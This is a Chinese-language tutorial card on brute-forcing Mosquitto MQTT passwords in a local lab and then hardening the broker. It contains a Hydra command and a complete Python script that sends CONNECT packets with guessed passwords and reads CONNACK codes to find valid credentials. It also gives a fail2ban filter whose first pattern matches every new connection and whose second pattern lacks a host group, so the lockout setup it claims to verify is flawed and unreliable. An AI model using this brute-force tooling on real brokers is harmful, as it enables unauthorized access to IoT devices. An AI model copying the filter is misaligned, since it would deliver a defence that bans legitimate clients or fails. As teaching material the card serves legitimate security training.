2. MQTT 弱口令爆破与防御配置

MQTT 弱口令爆破与防御配置 学习卡片

攻击面定位:MQTT CONNECT 的认证字段

Mosquitto 启用 password_file 后,客户端在 TCP 连接建立后发送的第一条报文就是 CONNECT。CONNECT 的可变报头中包含协议名、协议级别、连接标志(用户名/密码/遗嘱/清理会话等)以及保持连接时间;载荷部分依次是客户端 ID、遗嘱主题、遗嘱消息、用户名、密码。攻击者只要能在 TCP 层与 1883 端口建立连接,就可以反复发送携带不同 username/password 组合的 CONNECT 报文,并根据代理返回的 CONNACK 返回码判断口令是否正确。

关键判据是 CONNACK 的返回码:0x00 表示连接已接受,0x04 表示用户名或密码错误,0x05 表示未授权。爆破工具正是通过区分这两类返回码来筛选有效凭据。因此防御的核心不是隐藏端口,而是让错误尝试付出代价:强口令、失败计数、锁定与可审计日志。

CONNECT 报文结构与认证判读 攻击客户端 Hydra / 自写脚本 字典逐条尝试 CONNECT 报文 固定报头 协议名/级别 连接标志 用户名 (UTF-8) 密码 (明文/哈希比对) Mosquitto 代理 password_file 校验 allow_anonymous false 失败计数 / 锁定策略 CONNACK 返回码 0x00 连接已接受 → 口令正确 0x04 用户名或密码错误 0x05 未授权 爆破判读逻辑 返回 0x00 → 记录有效凭据,停止该账号尝试 返回 0x04/0x05 → 继续下一条字典项 连接被拒/超时 → 可能触发锁定或限流 攻击前后日志对比要点 攻击前:偶发 0x04,无连续失败 攻击中:同一 IP 高频 CONNECT,大量 0x04 防御后:失败达阈值即断开并记录锁定 有效凭据不再出现于字典尝试中

环境准备与认证基线确认

先确认 Mosquitto 已启用密码认证,并准备一个已知弱口令账号作为靶标。以下配置片段用于建立基线,password_file 指向由 mosquitto_passwd 生成的用户文件。

# /etc/mosquitto/conf.d/auth.conf
listener 1883
allow_anonymous false
password_file /etc/mosquitto/passwd
# 关闭持久会话,便于观察每次 CONNECT
persistence false

创建两个测试账号:device01 使用弱口令 123456,admin 使用强口令 Mq!7sT#2024xQ。生成口令文件并重启代理:

sudo mosquitto_passwd -c /etc/mosquitto/passwd device01
# 交互输入 123456
sudo mosquitto_passwd /etc/mosquitto/passwd admin
# 交互输入 Mq!7sT#2024xQ
sudo systemctl restart mosquitto

用 mosquitto_sub 验证认证是否生效:使用错误口令应被拒绝,使用正确口令应能订阅成功。这一步同时确认 CONNACK 返回码在日志中的呈现形式。

# 错误口令,预期被拒绝
mosquitto_sub -h 127.0.0.1 -p 1883 -u device01 -P wrongpass -t 'test/#' -C 1
# 正确口令,预期订阅成功
mosquitto_sub -h 127.0.0.1 -p 1883 -u device01 -P 123456 -t 'test/#' -C 1

使用 Hydra 对 MQTT CONNECT 进行口令爆破

Hydra 从 9.x 起提供 mqtt 模块,直接对 CONNECT 报文进行认证尝试。准备一个小字典,包含弱口令与若干常见口令,用于演示爆破过程。注意:仅在自有实验环境或获得明确授权的目标上执行。

# weak.txt
123456
password
admin
mqtt
device01
12345678

执行 Hydra 爆破,指定用户名 device01 与字典文件,并限制任务数以便观察日志:

hydra -l device01 -P weak.txt -t 4 -f mqtt://127.0.0.1:1883

预期结果:Hydra 在尝试到 123456 时报告 [1883][mqtt] host: 127.0.0.1 login: device01 password: 123456。若 Hydra 版本不支持 mqtt 模块,可用下面的 Python 脚本替代,它直接构造 CONNECT 报文并解析 CONNACK 返回码。

import socket, struct, sys

def encode_remaining_length(n):
    out = b''
    while True:
        b = n % 128
        n //= 128
        if n > 0:
            b |= 0x80
        out += bytes([b])
        if n == 0:
            break
    return out

def build_connect(client_id, username, password):
    payload = struct.pack('!H', len(client_id)) + client_id.encode()
    payload += struct.pack('!H', len(username)) + username.encode()
    payload += struct.pack('!H', len(password)) + password.encode()
    flags = 0x80 | 0x40  # username + password
    var_header = struct.pack('!H', 4) + b'MQTT' + bytes([4, flags]) + struct.pack('!H', 60)
    body = var_header + payload
    return bytes([0x10]) + encode_remaining_length(len(body)) + body

def try_login(host, port, user, pwd, timeout=3):
    s = socket.socket()
    s.settimeout(timeout)
    try:
        s.connect((host, port))
        s.sendall(build_connect('brute-' + user, user, pwd))
        resp = s.recv(4)
        if len(resp) >= 4 and resp[0] == 0x20:
            return resp[3]  # CONNACK return code
        return None
    except Exception:
        return None
    finally:
        s.close()

if __name__ == '__main__':
    host, port, user = '127.0.0.1', 1883, 'device01'
    for pwd in open('weak.txt', encoding='utf-8').read().split():
        code = try_login(host, port, user, pwd)
        print(f'{user}:{pwd} -> CONNACK {code}')
        if code == 0x00:
            print(f'[+] 有效凭据: {user} / {pwd}')
            break

运行脚本后,输出中会看到 device01:123456 -> CONNACK 0,随后打印有效凭据并停止。其他口令返回 CONNACK 4 或 CONNACK 5。这一过程完整复现了攻击者仅凭 CONNECT 与 CONNACK 即可完成口令枚举的路径。

攻击日志特征

在爆破进行时,Mosquitto 日志会连续出现类似记录:

New connection from 127.0.0.1:54321 on port 1883.
Client brute-device01 disconnected, not authorised.
New connection from 127.0.0.1:54322 on port 1883.
Client brute-device01 disconnected, not authorised.

特征非常明显:同一源 IP 在短时间内产生大量 New connection,且几乎全部以 not authorised 结束,客户端 ID 呈现规律性变化。这正是后续配置失败锁定与告警的检测依据。

配置强密码策略与失败锁定

Mosquitto 本身不提供内置的失败锁定,需要借助 auth_plugin 或外部脚本实现。这里给出一种不依赖额外插件的轻量方案:使用 mosquitto_passwd 强制强口令,并通过 fail2ban 读取 Mosquitto 日志实现 IP 级锁定。

首先替换弱口令,使用 mosquitto_passwd 更新为强口令,并确保口令文件权限为 600:

sudo mosquitto_passwd /etc/mosquitto/passwd device01
# 输入强口令,例如 D3v!ce#2024_Mq
sudo chmod 600 /etc/mosquitto/passwd
sudo chown mosquitto:mosquitto /etc/mosquitto/passwd
sudo systemctl restart mosquitto

接着配置 fail2ban,匹配 Mosquitto 的 not authorised 日志并触发封禁。创建过滤器与 jail:

# /etc/fail2ban/filter.d/mosquitto.conf
[Definition]
failregex = ^.*New connection from <HOST>:\d+ on port 1883\.$
            ^.*Client .* disconnected, not authorised\.$
ignoreregex =
# /etc/fail2ban/jail.d/mosquitto.local
[mosquitto]
enabled = true
port = 1883
filter = mosquitto
logpath = /var/log/mosquitto/mosquitto.log
maxretry = 5
findtime = 60
bantime = 600

重启 fail2ban 后,同一 IP 在 60 秒内出现 5 次认证失败即被封禁 600 秒。再次运行爆破脚本,会观察到连接在若干次尝试后被拒绝,日志中出现 fail2ban 的封禁记录。

攻击前后日志对比与验证

用同一字典再次执行爆破,对比两次日志。攻击前(未配置锁定)日志中会持续出现 not authorised 直到字典耗尽;配置锁定后,日志会在第 5 次失败后出现封禁,后续连接被直接拒绝,不再进入认证流程。验证命令如下:

# 查看 Mosquitto 认证失败记录
sudo grep 'not authorised' /var/log/mosquitto/mosquitto.log | tail -n 20
# 查看 fail2ban 封禁状态
sudo fail2ban-client status mosquitto

预期输出中,fail2ban-client status mosquitto 会显示 Currently banned: 1,并列出被封禁的 IP。此时再用正确口令从同一 IP 连接也会被拒绝,直到封禁到期。这验证了失败锁定策略对爆破的阻断效果。

强口令策略应同时约束长度、字符集与复用:建议至少 12 位,包含大小写字母、数字与符号,且不同设备使用不同口令。仅靠 fail2ban 无法阻止分布式低速爆破,因此强口令仍是第一道防线。
本文所有爆破操作仅限自有实验环境或已获得书面授权的目标。对未授权系统进行口令爆破可能违反法律法规。生产环境应同时启用 TLS、客户端证书与最小权限 ACL,避免仅依赖口令认证。